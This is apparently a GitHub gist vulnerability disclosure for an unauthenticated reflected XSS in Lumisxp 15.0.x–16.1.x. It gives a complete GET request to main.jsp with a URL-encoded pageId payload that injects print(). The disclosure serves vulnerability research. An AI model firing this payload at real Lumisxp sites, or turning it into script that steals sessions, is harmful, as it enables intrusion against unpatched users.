Skip to content

Instantly share code, notes, and snippets.

@rodnt

rodnt/xss3-lumisxp.md

Last active June 12, 2024 14:50
Show Gist options
  • Save rodnt/cf2946b0f6136cd03ee4737aa72ae95b to your computer and use it in GitHub Desktop.
Save rodnt/cf2946b0f6136cd03ee4737aa72ae95b to your computer and use it in GitHub Desktop.
Download ZIP
Unauthenticated XSS Lumisxp 15.0.x <= 16.1.x pageId parameter
Raw
xss3-lumisxp.md

Description

Lumisxp versions 15.0.x to 16.1.x have an unauthenticated XSS vulnerability in the pageId parameter.

Request

  • Payload:

    GET /main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=%22%2c%20print()%2c%0d%22aaa

  • Request: Request Image

  • Response: Response Image

Author: Rodolfo Tavares

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment